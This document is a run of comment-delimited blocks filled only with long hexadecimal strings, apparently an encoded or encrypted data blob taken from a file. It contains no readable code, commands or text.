ed93e795ce41c7e9e1efefea69ab23fef843b28dc3274ba04778d3e25b1a5098fa9f8f7c7f967b698dff0cc9e4f931a97d1a693d30047f248f2da68e13d174f325a42d7dca1367b0e89af7b28b1ba27cbe410dc2dbc5bcc040a8129299a5332a13239a8eb9fd03e950ec8b058693979f261ff0dd83b67658a858595e316143667fd9cbe52fb0da80250098281f253e7377c4722bdb3d4e31a57d5e0fd1b34d3e393723041c94efa2bdd6f64a45922c1b6c44e6ecb06529e84c3cc6b923f249e5b372035a9933cf30a031ccc37de2d5d5fd4350acd12c786bf15fc3cabebcf8052a30b67499913920bf26d83506d6491cd0bbea0695089b5cbb5b1eb0e186dbd7593e2c3857cdb30c227ace8c69290f85e2b7c2aa25c272f71e8e638d2fc999e23b45df1c23bfc3627659fc0ecfdf5bef727d2bcde80d43bdcfca52448182162f80476c3c7823ffe8ef899a57ae4df20d23e2578b62a043a4d106d7c74d2240a9543331ce1d65fee75795338a8bbe277b3bbc99bdbba84714eca67249b4735639c3aa19f1eef5c72d93508a0dbceb7b03af43004934f28dd3987b411cec5b1df14c22d582d553d7409b8ebe5ed67d8ab1efeebe1f715b1795c5261cc571a921d2a80938763c57f4b0dc1d4e5b52cd7c86cc1de4718b97c2d03da9e4ba334bab06e173b4c38b4f874d9565eb94f0e66a9fdba0150552714d7a228e2934d67d1f035908223a98cd1ea8c08ed4fdde7b34810e8fec73adb4b555ecbaca63e1af6*/
/*035e62cddf6b89c525cadcbd527934f70ff445bb68e0467100d3a3fa1adc94277e4e9f7af93561c99e54b809c0b37fb329734c3a8133d9b830e217463436130ad18f3ba9ba8ea383be136f0ab4a66bf081e2b69721be4bd4fc8aac1dbbfe74403b327161dc3b95114561467a129400dd39e1553ef447d0fdb1d79fe76d17ac83c07fae97d65d36fe22c6f8a2db4f6ba115fa627cc6b4a7c519b09909c6be76de9abd432716543f7b11ad6e4e69ba42da74bbc74fc6425d22d0b1964ec21d9ccb00f1df0d3beb0ac4f1c61f1c46d1cc35e6d3223bc015aee63c8ca70654210c86a643b785855e45228d61bbb2450f91ca7abf9544bbc7333bea989ddf4369ab1be8d2541976b8ea25f30e251bd8e976d259f8ce5b79f4f2e5214e380c02642acacd1e2035ffcc2c683109cca2bad346eeca9322b0badbd1403d9cb833803cf033783b7131a5e3d0c7113f35b8ca4406972c4a13c345ea264b8ad5a5a8b376d1169bb3b4198cc4690683ad98e1d17532664efa6b0b2dde37bb29091625fec7e0e717a8d03c43eeae476b126ff938372998a27948f6ba2817a7b705f1799a69840819681db2a047a28f6abc3281df2c7937124dfbbcddcca6057da0846bca79f9c6d90fc9c096693a156bc8c689b753a5f1aa110777d6d3a8f68784df4b5ebcfc306ac7a66700a00b82ccc67030bc03ac87c69f7b2fdb370aaa934c7c345d56a3e3616b8f58d13c1e99a9902ccca0edd55c2a15e66c44f820131396143a09dc9bf38ea33e293a8e0a4b021b6ffd26290a317804318a71e2530d589afcd2294f2e1677c87c7df6eac0ddcddc79fbc64e5fcfc7a7e43f4f495d0b73c0fbfbbaf64675fed6bb6d64dc08eca96dfd89d3584487499c6e2b4822eaab283dc808da25aea6b7d9126d815bd726320ab56ebea609ee7293509c09278573c60e46a1d6785d67ef7a827e05f4921f1c96dd15688eafdb4edf5c23c8e5b8837dbbacda3cd62da22e3b04cdfcd2a69eb00dc8e89e7056887781d5605760d02c20532eacf712a43692028ed293373a2806df8fce2008396175304ea287f26102784a37ebd4c8faf557306024335e5d2e2162b184cd13cc440c329024d948406cec7c18a269b5a0d6bbf80f3d7f1e21c7eaec1dc2cb253a83a4e11b925332a20ee3639b23c0a0771f45771a76668bf2425b2a7b9f0bde805c45e930b7c37a7af43490ecdba18b49d92a0984229272d95b813cea0d2dc0ac0821fdc74b0ad154a323761b41a8064bd9a2293b6613206020653b2013006fc9013d5c9e1da2220e897f5a10a952b16315b109f31093b4f823b541bf0d9827b61bb1f3dbd9a3100c9464a727284b561d90233b6f657e1289dd7c8ee6f3971ad5fbd1095dd7461f1d7c798e436d0918a206d106850d8f723be3497ca383a3e67f82b751d4cc0fbfc697c09f67bd1054008e35c531452c0c20b5428d19e943a05c5fc4dc5ff35dbb3b5caca3f1b6f5bb0808dc092ca7499c03fbf1dbefd68ac9fb8ed2c75bd4734f07bb23381fadd5c757201986cbd938e9133c812a3f4297debaf58ed91fb3eb66cfe7a217245c5c20860c298eb011b53605557bced3ac9f876b014fb9596cefe68e7caee921abed72ddbc49cb5ab8984e1c48e7b8fb40c569a12ec337805c9d1a41188046df7ac942ba34a3d974ccaebbcd5ffe1f48977c7d3a61e07ecdacf50a32ee30455bd7fbe34d6c3f647fc326d4395f16ecee3ebefa96eb1c506a9cede00a362aebecd9cd0ddf08ae5189414982792d0e35f74f42804d8b680aeb2cf9f7bfb014a313f6f14c8eefcaf289cd44781c96f21bf3e793ab0dee35acaecc821744e2e626ddae1cbee65bd9ac225ab459b9e4a9fe13ab79369deb239a8c7a8e7aa2c16ad9756442507418cfa4712d12e83d4ac992bedde5170e8ef522ab58a25e4bff6cc5da42d84fa8bb35ecd60711feabda23ac30bd81c479b723b93152b9d6518cf268fe9490d3cb08ad0e5c73d2a27a6e5e360c7661862899a94021e0155c3af75d454fec3c8cf198a040dc48c6eaebc5e38272d5c27dd07974d03ce21b24604ccf84584e49319e6ed20b05de9a77152c36a0ae556e1a47286d91e26318b11c457de35dcb0fbd49763b2893182915733e06c3ed219265274b61335654e3a67e8c3e70d844789c6d7b5e1e17718db25cdeaf9e05b8e7d9d09553e88794f03cd9dca030c4c6117c053b10286d9fe4569adc6bcc5ebf87d64e24d7307e3449697e74d67ef8f65168d24b42959bed95368ce5d41bb44462c5727946947ee1d77dd8a0cfd6dc9c3e70562bf463912dd0bf5085bcf179fe0cffc7302f4fd7fdbbcbc7d23d015aa82e395a2fdb2976a54763e708b11254b12e759d9de74b6cb31324d8e74652fd26feb99e568401d4c75551518e8a1790e7b3990b9ac58b748cd4679609e5ebe84c4a79027f5943aa1583b1dfe8d7753cfdcca5abd8f51fe91b2b58cce7e4d3fa134cc5b9746875a034ee66c8b756d2615b4323ddb68efb1d296236d2c19153d9e71802860df6388fb99f504e59fc41a237f08c278584b482f1c26c172b3e77d87b1727b2085661d58ffb43f956cdeb052b4b10de7a55be86156664c36558b5c3dc448b43be0cc62b740e0fccc449eb3cc59168be96037cf2b7d932775c506e18042aa7fcf58f28be7cbb346bd271d21d2e17f3543f09329e18e894f2b2a42c9a2a07eee660475c064abfd7840d5561f286d3cd02fedfdf22f2833f48823dfe5b027fc75e9564125499c1c5dea09ce9049b7455f5bf9e5faef96ba1fee5de0731a1603f53340f26a4c606c97123192d6c660ede7cd0*/
/*e22c434e649e8aad34ed9916a6c8af8e8e92d27b3bfc4874df1abc1304eefceb03fe1296143b3d56e349cae21bf0937dfa377d953177b28ac0704849a905f24b011533e722322dae4ca3d856e5276941ef0e5992e850d69de1123add9320b4278e4d89d858f9a6a2e63ccb824592052aa6334143962824497301c5b3524077f21c81493de0ab839480f817ec33ad456ac3ce138b7a80410c7ca76a384f8608609c5a11e5ab6e3a1d606e623b6cca233ac0cdf374826f9547bb8aff1a902aeecb7c4d649f9502989b7887767677e242419c90bfb554f85d29e274db1e2aea70d5c27de167612e0a516c255ac3fed0f630adadcd6bbadc35b9487c99ba3b779b332202bf32faf6d37b38db4674a537a24a6795b47a6ff3dcf3f525d0bf8576b35c5ae705b8144439cd54413caf5ac6452554bb2ea18f8f4dddded31b5dd676de96f5584c2ad7002679f43440044a818a4bbf1bc566493b8f1cfff2c75547286053ad1319521a5f81962f4b8b6d57ff97392475738d9bd151ba316676669eb14f48d28070b575facbc6f2ad0be05fbd8e250c88170b33ef38f23ac1efdb3daf16c5f9923e5d3cf86d938967e69bcfbb99ace1b6c309db33382e1df586ed03586b4351796f021179ccfa1b19d0be512068f7ce895d8ddb3d009f4b1e534fe560a5e517bd3a63ad10b281bdaf7ff6b0fbe384d539bed96597a8bd6dd09301d5017921ea6e0153df691ebe6636b299a510c933e1aaa3527f50d0985834d7bc1595bc492b53a3ab39987b517ccce021f054a62afcc5bb0408cdc46cef57f4af92b4c0274fdbcd449303e1ef8a798b5a6c456e45a814b86fe76b17376696366d40f1e7209f6ad684e06d2821a06c432d8daefdd2f93bb91cd9b685f9a452b0509617f7c193ce97713d5eacb98c00aae64bccad726a452b5e40faebf9ea1cd64ed5723a0a25b747f712bf0e14e1e6bd5964c4e82e121f7b71b9fde571599ad43abbc4a8346c0396530ba89b38e9cb1de831a49c4b83ac9e972554ebbead363847026aad6fdfcb6e1bd9d2b64e1147558846a3ef129c062089b779cf42f25f15395e74d0ff7f87cf4e6c8299f3ddaaa3dc1eacb70e9bf711a2333bfd4e0d5a52c4e92fc0cc894ac4b7b1972aa9dab99156fb69b89b18adf4f887a359257e46c64c8784ab48a6f6abc6946b17bf9bf8c2aa319eec49e7d010cbd86cd3988a70d527a8f5b84644ec30dd4a7f04cc6ba881799652f7129201c39a00aa0b9174b83d288e1425ac81f05bed3c7f1fa36cb465b47718f39d68d43a781cf48753472bad0e6bd18e41e503b4f96e2d1d5fc46c24d3076631abd98f7712d06cd2556dd8ae2c58553087d9247dd7bd3a69292ec8ba424f917c0791863a0faeb340dbaa638d466f61995c5c5997b91251a52bf69f239d2f2a20225b1b50e6952faa8e6660324c90386c376aabed56fd1a1191ef43e857a3a96ea84b66114614353531575222456e35691f98a47856222904af60367849b826e872d12137def648bd8890dd51e6c2e5efe55146d0b77feb26d4d962ccaa0aa1e7565c90296a03a136aa1a547f021dd65a25f3118900907eef36f11abe41b3ccd1a5e4a41264420f7bb99cffe13348c965904b109e5efec9450178073777af2bb756f28691e6c6d930ef0c225fbc811bc08f4e161f84ae0bd57d20390fcbb781b3de8b49e02512e1a11d8574d3efc534a6f7fe259e31c11bffd29083d62984807e3cd37bf4dc76c5d9d67284c930442e22cb505bbc63b7d3215ac912e4440b0c7a427ec4d02b697681b4e6734846aed6ee066b48cdae2a84e864704c87d7632c3fd89588cb3400788928c9ad0de6d6b1fec2e96c15c9f935c7278e0f3853774610d5f645cd22710011ea7c9321e3eb7ee40b7c0d936199d617b4fb0830c10e26e28f5920144533016822b92f180a74464e2c8f83b540856a77634f89107c8d9fddfad47ca505e508ec2873b5f824f37e6946b7782be1d9e4233d10cdaf705541c690ecef55f45bf2d1d5b7bd1e82e55f4b0b3ebb1f47e00c433fe298f13f2ee3d29d79d083410f6d133393509fd8ef11fc384d148b80c6810bf2e361541eaff50b7e86b2d037b58acc5eadb868caf9e17eca951adeb83feeec229b2599a4e95991522c6d7295d6420468b2fa53e2cf298f828433111becb1eef8331f0e26417daff058b802daadcebbd7d5f1932c3791d6d4ee6bbcae625311bbf0fce385cc343379858a58ffe52927bfe9143be4b3c0379eb348c840204a6a997e0bd2cc3164b330ef6f39223e5770bcc52caaab9cc3ad0c58c21129475609b01a6bd404cc45a0f4871a0c7dcad2804a47103b45b5a8541dffe02921ec8fe3f6d4e57e7997753c9766adcaac54b53bc80bd9d68698997027e42fdd6134af103ed3309f6f487de27faecaa2aa4358c785b42024f39b6ebeec47da16bf13bff8a96f825dac244d125e78ad2eaed008a974e0b184929c1af8d616df701b38a5407d22ecb9feb5266a1b2c33921074fbb75466521505403f17d4122c1bc8c4ba643d07c53882cbf901a3d77eceaa74679112b4ee9a12b3e88a1a8c9e53409f70d1c573cc02f78e81155ef93f7868da6829141080c6058a4afdaab55cd8468bb78b70ee63f80c9f073f489ee56b0939fc83e5f0d6f8c1bc0527919d232f7ae56c8fa2a148204297be33853233f36c1e5945d34f9f59e550001adf1f212cd55320f48a44226937fc17a3dfc32fdefd67dca7dc5c62b923ce627c1ef9c37e42080074d063045e5f4f20a5ffca5b834a8a0e158dd0a20318c2c9aec46933ce4c75e6595113b8e794d0ec8d20*/
/*6f6b39fff938859794d51fd2089dc6b153888bdcef02ce55015e91f71fe9e9d2a137fd05f2f91d78bd6dc037c78353feafe2982518070b8410fa2417d010015e8364525388cec5b3524c3652d896b7d9cfedf2e2ff79b7290a9cc5cb068887985e2ae19fcfb79e9bd0d5ec23efe7f7a5b9649caf17cbb26973c2927f0701eea37629a4888b03924b8df9f454375ba618ca136cc03d686af0699f68d73375656c9dc638676926c89dd725c8508683ef772657b14c164acdb12eea2db340589eb0414c87918a4a7369683458056812344a5815515aabc1071b9a702d3316e11d3e0a0dfa067649ee955c225ed8bdd6a8a28d6153356adb5fb0a65cab9571d7c481cc7ea4839a07f4e5580b932850e2137d0863d7dc37c5933adc8d84919e91f754784ebcefb2fe9bafc89a971647755897d659aaf905ebbc34d92231c719227655b0a141069120ad9fce112d424f4eef553d2ab55f8a3d395d52f5909ed7df2824a0a6eaf0322109567de5537624c50baa5dee2a460ec9d450695d97a25487194f5a8c753e71189bcf9b3207fb136999bb5a016330fb249c4ed1a792a04d4e149114c014136c3acaf4792a07ea22b652ca3886d6b6d5467307dc45fc60531d777edf34164df17874acafbcc1b6d9ec874f0f22403385164e33de3b0a4aa981b6f4ba0d06eaa289cb30451446c5cfa0ac748f79200bd8f406432b926884c54622a7298b8db1c7a594df873fe4fe7ecf312ca6266e83c1ffcc4ad96d4f5c620b4a2293ca82ea4c9019897b55881bdd20c1ee34da781fdd7c06a1cbdaa73226f35d670b81eab2e5f3c199c19d7b00f20ed4e4b21446e259cf6397ecd1d76fc138a3a4737fb327d2c6249de4b3423aa916cb555453193ac5c3d3105688315aac3f59dc52b9170624106bc63d19cb07e4d184ae6347f2645515b6a3b05f1b48ddb9c591f20d0468d90316c18b58ce69ff4891a9fd2265d4fee2ba7b086cf89ce6e6752413db03438cb1e508b5b6104cb0ad74679d0487eef757dcff954e5e9b42e5300302bae79f0caa9ba14c9cb816d98c9b379136631c40b795e4ab06a7db52bcaaee5033e496be30546c0b4c3300ed9f928d6eb7d7d89e2985fab458aaeddb922c278e620897de5c522525c7e84abd9b3c5539dd02332938078338f2e75bf0292156004b0192c01ba7a68629b6b33855b402e72d680a3d42611ed490824ff43d7e617d18dfcf0c1f976fbca06318c9486ea04d959f250fc27dc319d26c9a58f25262cb5c07d467d640a7ad983357837316e32fa579e19e086f637e859afb27a892984858cc0f8736dc2e8d5f828e2dc02658d49ac769a2294b9549c81e655bef0ed229872238141867e84a6b496a8b79a03651116070bb4c1a9714eb866815b90aa7d23004148aba249b7091fce795b5989f87b7095a87f3ca09e86c2778aec18181cccff69366db17dcac6a4cbe86707959ae054633dfdb1f6079c3b8ccc386a2a116377959cdb62811a8275ac27a3163eb37d6f623bf45d076c294b15d41ab79620bb933ee7baced5b105f324e9707275a65702eb4b93c9eb3062530035bdcb5d62e5aa55adf0bfafb756c299597a74d8ecc3972674db090243a253c112b1dbc04ecba061040cf70d518a796baf83dbe61491cab70ef4405d46fb899cce917cee52ad6f78836c3debfc38637ed3143ec8b95bdb11c169e60bc421ce2db9f0f0fae11aa0c998900fe66343630eea2f120d1e1989fa0230ba9a3b35476ecf22e9289b5e274f7d4d76631676a28560ef1042f04486d69e5ada171bda070df04ed6cd4d39110770cee00e9385580d87dbcef458b73940063c57f1d2bd43f4ee2c1555d6dbcfbea57342a585e1839be3284ec377e6114398e3412a4c6e3754e7fe2803858298d89939294ccfc324e87421596708bd44a4d394764a7264da2662bb0e369397575f88943d35b4f2f76b0d31f62126e410161a2e07211b6cdb48bdcc1c9d939312ce03db4dffa2bff471c63b2f205b6333651b2c4b323be56ba718b8ffed55e8a606bb6795f5ec862cf15c6de6047d636a36cafc80577dc1613b6bcf3b4d5703f1e5bcfbf6bee5e4244511fe1e028772c5967a9053f392b45a39265b2b3fb1a969a8f04eca854f6236702b1dce32a73c50d790920bacd546c1f49fee8ac74acda808bd3b1f8e6dd9e07fb695accd1dd54841f49abe7d42ed8d02534ffc31ac603c0286d0a864880c23f7f31f6c66d43eae2b9b06031ad57f38fa96871d9571ab7399412b240b929ee877b212d17d4561e9a521d99bd8fb6cc835f9b7b6cfd5818d087f78f6c02a622d2676a4af4068a2056f44841e9912ce2461203a49e354f12e86ed84aee89cae7a5eb1cd56e9f86d3f9172f817cc31dc6450937ac969f01bd6ab6c8c9255ad10e89c9cf2982d9f4f23db4faa72bea24c16844929116c5f2fd535fbfc136dfa9e8b68ff35171574a4f98a0f802f1be0b5702fa9cf64160b7d856359e5d64bd50c1adb6ca663b5d17ffa245776317b8aa1b06cfd6bf7321354a9f154f6b8c839b6f17a13239e2a4c6e7f43dbdc2c37bf624fe5cc30a933d994cc0219d52a31c2c68636b6dc61bf4eb0cb1a45a7a5e84fb0bb24ab54e1e7adc788c3e3a29473634a3ae996c9f8dc67edd0454400409a4193133407413ed5d738fda2456a78e0c591c01b45115b3e52b21b7e5798c018529b74efd36920e18c12f915e96bdd529830d8b7bb2a77a0a252ad824ca96792245026a93ea13e8be4c0393c2c4db09c59776f1eea065f69c13aa6423dfb095dde2963003300a8cff5f0cafa22027e80ec0155b8e318f5f8a*/
/*0be496eadf4cb15ff3518d33dabb593e128d072a05916eab0a758f3da205a0221e2d215f97a6147d6990709b31a04897d42a6349fb1003e9e96a7adca12eb0747946f94862567de3b798c8c0b4c407ad8a8cd27d4624daf7d2d58249c66585ad60084e91035429db19211b5efe37981baef0ac4bc880c38b6b7bfc1e22c2b6e211b431dd7dd462fc88405aba3193094cd21a9818838cf0bb852f863978329320f61b863e0fe7eb2634698c7ba00d72266c19b41e5cecaa71168b8a5d1720e5989d1f3dd5fac86e7397903ac2b7c61ca1c0cad860f8f23698d6d6e0015654999d231e523c4f05b4189952403f57876c7846a4a9d4808b253cc5d461228193b8ae2675b34dc4334d9559f9f9a26fe187c124cc34212f5ef4b9600a1df2a0a8f330d60b6d75c03564c2b9ae1a0aaef354edfd3c8e73cc941386f7c1ab987121f62972096ecbe005de7c430af1358c48aa80facaa8071ea17a058d5108c757e0cb5160a38b4422a129c8eefb5a61f5b485bbc1874ebf33d28fe695afab57912f8a61679d598a74079469189a7def5fb7f0769d3290c10328ed419604a8b80be4dec06c0ddbd7ac326f7cd49dfa789ee5c3e365c03fd5154a039d0a4a427c9fa1bdbbc8604d94da8266dde98c222b56683fea2bac305800eaccc3afcea8e71f54a3ad241d82dc4cfe16893c5ae8c46d2f077acd9e013fc9daa2e4fe2773b6bebb7afdfb44a66ae68bd08f630d8873641fbedceac3f7de4ef8a019e5c6547c6510f4fb48caa732ef68df8be493a13ce96bd94a6cba88f0bae56f8bdd9662c021a158e27b1f0090aa40c72b6d55b6ca2c8d7e2b25df6a56997f0637bd7cceb9f90a2cf8ba8713ccf59253f966a9eda2096b67bafaf3a4e9afbbd8e07a0824f070e51cfb53cadf4919612a76cc50811cac87a8f85091880195a097aa6d79f9a8e83f469075520737cfd8cbd1d71ed33ea20d4ea7734e57354565a03a3eccf5acfbf9a4cfe69cc89e942d84856998e770b16f77c2812ef583cc750f7f2b172ac467f73c2cfcf167941b25fff5e7e4e6bbe5e05e270fa26d9266346e7fe1d6021cc76acae7c11d5653542ebe7e9f0946cc0e8b42cac099e46fc983395b0f5e1a8a768dfa16cb3d554f09b6c08c14c96eb758cbce39fbdc091b8d70638b621df7e532b2daa603411e286396e8ab1aa887bfe5e7ec5c1e8c3a7b9d8c2adc891809bc2f11e3f3bf7eeba0e9f147c6fc973185b49433ebce60341adcf70c9482c356c71d0370f8e629ab4f9ca92b6249fa13f633b1124845824a7028e9d8104a2f790863517f0ca4bad5199aa9095d6b712c75b5f09b5dff9d5dbb03df940cfb73aadc1b3edc3f00d5d34bb017c8f9a920155a03a34ce97c58e7c2c82576b82a7feb8173dd4d05c538de724ecf7a6c11914567d0fad4d1a22eae6d841eafb9ff240e7ba39e830276649c97f0b3a45fb3d2031e36550cf54be14740df42dfba44fd052b47a89c9d21c44c404b89f34ef359eaa5b15d8341b7113af5d9df56baea64a81325c9b38acae9324beef22dd5f0882348d3259a9b61332654eaa78521be42978b0c6eb1e56fa78d64d2d82c75febb7448341c84bca1724b79563804583cc2a9df64ffd3478a7c166169f501bb638e8fe2b7133d7b1b602ae168edd59ca7aca1c9fa6cf35e15e52434362a3fb650b8a05bb5f219debc245055d52b2fa686e8ac460b9f5e7dc6126659eaecbf8e090cef2b197279044206d1a1543a9eead4ca9271aba0366b02c15c39656cdefaf884f44e092299f550bcda125ca26e605d35d981252dab4a19db8e543f6dee8399875534f7584624c8a8f6b05f81d868e5efbc7165a9a1ea4fbde7d012081f9724d934bb6baf571d799937c6f2cebbf520dcb25b596008ee91c7206ab97abaebd1f43773373c42f954cc02f53632f45493db3c7ab31738b7c136f1b2c3813b20f5dab929a67a3126f84607d2ac68239b1e798259108b4e952b0e53eb8c842116c573c1f2e0f7201f809efb37f668b337823d279199273dec5a3516c6fa62619c4555aa0796e6a3e56b2b11aaabc1f9de61722b76ae365025c55c2a8cc38a3a25f183492a8376b176af9481fb89d6be916df834716f8053725c5e5ee4d267da2e039f20b0308c3230742dd9fa992e7ceb66b500ebc4cb656ecf3c31862aab89550c9d3b0df8f7b62efc6c25d1da59c82395df46e8ec89be9f6b42c0ed5390a487b6dda5a0a71c3890d9859265a0c1f0708ff57ff40b0dfda59f9f62bb4fe3697133aa20c3c275a3489824b7ec80fb01bc4ae765c6c421857b7789117faa4c14ee8fd153b53ba9153decf7b3bf2e4e3443620e6e5ffafc60e35dcda5040b5e9c9b61752aba1dc7a21fb3bab8c09b557714e3895e1af22d104802e11da69bf79600da718e5f0ce16089c358fe86cca6305124051fc62e292fd2e4e55bc29693d79c11193b4191cae191256d726ce4b60b83df02347c88e8998c31d771ba1daf086823294832c7f5b15832f74d89ddc30500849c89c5d59dd35bcefadf45267c8a934c2c90f9d5c64d67b9adc0992769c5f433b1374f6e9b043c748b3a63b3766397f3e61ddd0c6b991a179d82ad11bbf6ccb21ff45ba563fd8a29372f96fc56a753156ebf3a8843fad102bb63523b4597d9adab3f36b5a239074d86606f8e24b4b8429d95e26741da91d6aba61d92e1c35690cacea20aa7dedf30f2871276aeafb9dd19cace8d56147b4ddc28b9d24400e9c2da2db18dff7fa32df9fde65548bc368f42554e2dddc602e1354b6bd787dd78ac0723467bd128616fe148586ef70c7019cd0ab2e88d0408*/
/*c7a88c6e7c7dec4b256ddad642eb5c4852fad95b475ea5d1468dffeaa2c16b1adc9c31a9e92a8472c7e9d066e42661675e9599f6c3da825d69e62ee549bde1b6aaaad10ec1b42c67d8290ced702c80aa940987b0a6cd0ae0bef86c8055bac0a921d41719aa0020b3771d719c699d9aefbf933344d00327e1e9da121c7de7091ff648f173afc2b7fd0fc11906aa8f7e1ae9e9cf447fad27134dcc3e1c823ff4e950b4e0a355f5a36f127985e08410572c64e1863387639e1fd7282355874e0a4f467e9fc79f3afb699652964b449e98a002b39a01c2448b79424e9dd791b0db75dd9a6f8739329f287f16672b078ee1d977a206f1730315d29da5b96c6445f6666c2a8ba0aa10751dfcbae24db4348cd6e74d24516641b91ebf61187ae0b3a484cb6f0ef1015814edd040543f4254b24def5adfa4f50cec38576d89bedd47878c82212c59acf78fa772f57687e00b9a4fdc6d929d2bc0252c4668ef3c2472bd4e259338becba29969ba93b7a659aefe6d1e160e8ab2accc88e359670eae02427c648d836b8269ae3ee29c37adb0e51f23e6627ba7030a81cfcd76800f84a84c19556c7952d88dbbd7516b8306170522f75ec4a138f5d93a3e8ebcc277b71ac14473d9f2b5042bde60b976dc3f48c8ae1f767615cb2e751f76e36bcdb84186dd0137c3b23cc8c4897ccf6c32b0f2346959273b45e4fa2de95ce4ba6aa3d81750148d3ced3de792f682fc68e33bfc0b45b549801eb6782bcb987b90bc268363f842790936b71549817a787ff4003938441a676d544d3a36533aa23cc62c3a3a7ba25658a1bdccf1948a49711eaa8b47d3f53d2ead099f8946ccf0a2b81f9b261026172cc831c3239f07fcafd0eafbc1b327e1f43de9eb506954ff085d7a473e4f926c64d40c25cf6076e9005caa56d8996981d03093e6240004d4826f3b0d4bbd1bdc9fba07bce1a7f4b569d2c2fb410e538ffbd23905a8e53c201b8ede6e3d4b21c275c8802b2f193770caca7d0185819e85e0aa4d667b5ce2057633c583ac5e1c2436ec81dd51cd482fdff215c093d9fa2bfa43f45ea7081debde2aeb9dd5d44852e5279a7cc0a70dfd312e55378557e2475f1835f270856c9814752c884f173d10b048e04624632586643556fa018336b0d74d08f8860c64f91a4757e56d21205e70af44aae2abe341d28a951b52946e562c2137cff5fd48e33e9c97966a311095c8273abdd76ca3c311c21b89b9995f881513ef4d806b8670c92fb6761b531d6d882e752b4bd403603402605764b3346cf472b943613f5d5598b4fd7088eecde892bb2385d9563197c30f8183910edf6688ca9c66b3403b2c6e4a780a270b54be174f0ef2f8e879cfce7d6db8612ef3ef54f1aa2263f6d48ecdd71e3b0eb400a2a2ac00ba187815081794aef2ed7a9a54e8b9658d780642add63c92e8bcc92d4c8c7bfebfa58feb87b62c6b8bcf064d78006a906610cf1eb8ec8eddd81a939169f4423aa47fe487bbafedc30f545475ffe974238f57807da3a15ab5bf71011f5b243dfc13354d9d2dac5ecf391e74ececdea7599f7f9227b274239fcc7d911dce6f85d83409a928912eca673f99c8d75bc027624eb0ce2537a9239fbdc3773ce0b4b41c14b0fbfeb8a7be3abfbb486a7cf1162f6b36b5e033f5ebd583c7c4ee3cb51e6a5974fc9b465726d0da489f6e654eeeedf1395063fdf31e843beef516b37d8bc4ea4cf725e533bf087083709ae2dcac75eebaacd39bc3444d7e91f8369e6f400b55168043b712b9c049a552fcb55c0764a366abbf06f5915b5324567c313e1e6c244b063281b069a3e12dc1d488faa5bc1e1a9f5905c993c395f33e39d7c5891ca5c406a6a0f5a76ee80fd5870c14e790eeae38802c9ffcf215ecd20711708eba14a00c5e730a5c0a8175896967e4c522cb29da845ec5c0a03d820d5d41c4706ab547701bf7282692d7911ad477cbd4418701ccc86218f0d42e3c1646f0475aafcd15f768013d7824c71420a6a111325812f4fac6871c4c1cfc20d408830d901e595765d4f6adeb4a84b8722975d53a87709da2158d82cc1087db8839bdaf348d859d8a4745de3429ad9cc0f8ac28659c60e998dd10435f25089c9c164842ceff0bc14e1010cb27e47df3e238405d00a90659786f10d0621db05ad1dcdf6ca4882d01927005eacf3161b0f28727ef48bbe81f14a9fd6f3d98a2fed18b0fb0f58e44d47b89368104071cae6e81cb4d083e7dd1ba6dfc2aeb898e75d5ea1f7a41e6b965320e99f732579f466a4da65ff730f33f6ed9f8883ee5f0a3bfb98558c0af1d02dfc33297baec931dfb4b04bf80d3b88292b14775e834e49b549d3001dd453512d751db84b344c0935707d609d6a09ac143109fafeaec836fd37c1dd8e39875a548d1012cfcccdcfe4aac0de2a779d97de2f0c220285c62802d6411d29447fdf2394302676442f111758c8e3feaeda3997aa47b1194ee01f176d1fc5d5bfd3cbc3ed6a5df680faa6f0edd32ecddbacd2e510943625cbe768a9035ca5c19ae6bedde5f1ee5a80b239cd6f17fbd8789d5831c8f5a08d0990557d027a54ee5f65e88b389b0f7178f3a42a8dd148de873c0d4878844e92a6724f9d9d3d12590ce23e68568fe5ce2b1ca4a4430f198a7aba7577e78388cc51f255fc0180faa441f16807c376d1380e1953ab63a241fc3f9c0128c780136203ab54ab63e811b30214f5da5171a01fb37960f7d3b0237bb1b49bd599460695c1403e08cafe021115fa6d902e1a931a652afd2dfb6f1f87cbd2084cc3d03cca9f3a2022ad89ddee3ffdb2ba2167423dcef5ffe2251*/
/*c855f1c18bfa2cac44a08606cbe9150b09dd0493715cd1cd9e96159699493d4a3d4d33aee4d70ef7ad3de3b495dd739bfae35260c622f0a27f192856983f1076d1d717a873c7f90f4bf6c5ae9a2a708e16348515f775e7556fd0997ada977a8abf44f09d2f2f646be8eaa5e7f9fdd1ed374d6e80c75bb2f62b921e131fa32a52dfd8a6642d882ed3b32cd1045d5eda8da331ee9a18c3942ffe66dd25c0e3fd2ba7c751ab8856006a49d45bcf5022961728e0e8e314b81ad75d04b721a5b8a5edd8eb674c86d7e44947d7d747b137755ce2a81ea812801d033c839d19d9555f1f99c47b04533b259cd50ff444ae6777a459d3e6526aa555556fb2949e4fde51cb22fe116235e1554b0c8a3d1376d6e6038011b6e6fc1b4292d3fd311d9e96a4d5b0f47ec4fbc11362d219b6b995b1bfd9061378eeeb614d8795cd8318a8d7b4ef4f0b8a4cddb9d9fae770d6368eb85f6a7f7edba8ea6f204c1ac83d9c112cc944038b447654593f3a872190b4f7af4960a05735a171132d35977a6b99ea01545eb00abfb5e293b0bd0a7e5433691d49ff6996c7d5fa5704d29e4bea51d7be1a370c808660f0214f575374142ead9b709ff7c7426210ff8e9ac41309548123f393d0884b15bacc601cca8f95f65a6ef60326a548c03dde38e158c42f2fc134bb9e7d2559485be9433635ac817c747e4753f09c00f0951eaf01ee3dc45d31129543f3da7c28a2c6374775eac07e763cb4f18e0de93170c295e9c832b11350c63c63f17da0408d75875d03f6f9ba73e6182f9f6853caaf9e44a6285a83dcf27bebfc64f8a438c3390440be50aafa567daed783fdd3f76e121ebf35047b6cb4784248b193ed12c7f49bacfbb799c3e6e7fce8530c7ceeb49a85928b8855bf08d23f2fe87558e7525242611184c5324086cddef2f2fd5289f623af17908dd08c0d2906b4b513e0341022b01908ce4fb48d386f3396d4fcfe5b5dcd3afe2e6e73b201e3114e479a620097c91a2d9862275aaf502474a390a58505114b75f415ab3011dd36685b5f31da203307bb634f9234dcc19e776fc9ea38e6b84d01c8ca568e0e4a548aae5854c042ff38766f655eb484c1f5dd6385c7b8bb9146dea872e97cf4d697c0c2fe6665bcf6bc84d497ad48993e96170ff9c5246fdaccc204c455dbb7332cb9565bf14d2583959ec71690ea529b34f8772a0e3b897a5ba9081ad4156cb505e95882f91bac1342618940def34482a18f34f2f4a8d74a29a13db9168b20ca69a50c60357233173e56a8a3ba8a765f54ec9719ec2e2e344547f116b7e9872037fd2a60a5d9e34556a55bc4329b3421aa2c8d39bf9b3a44a7c67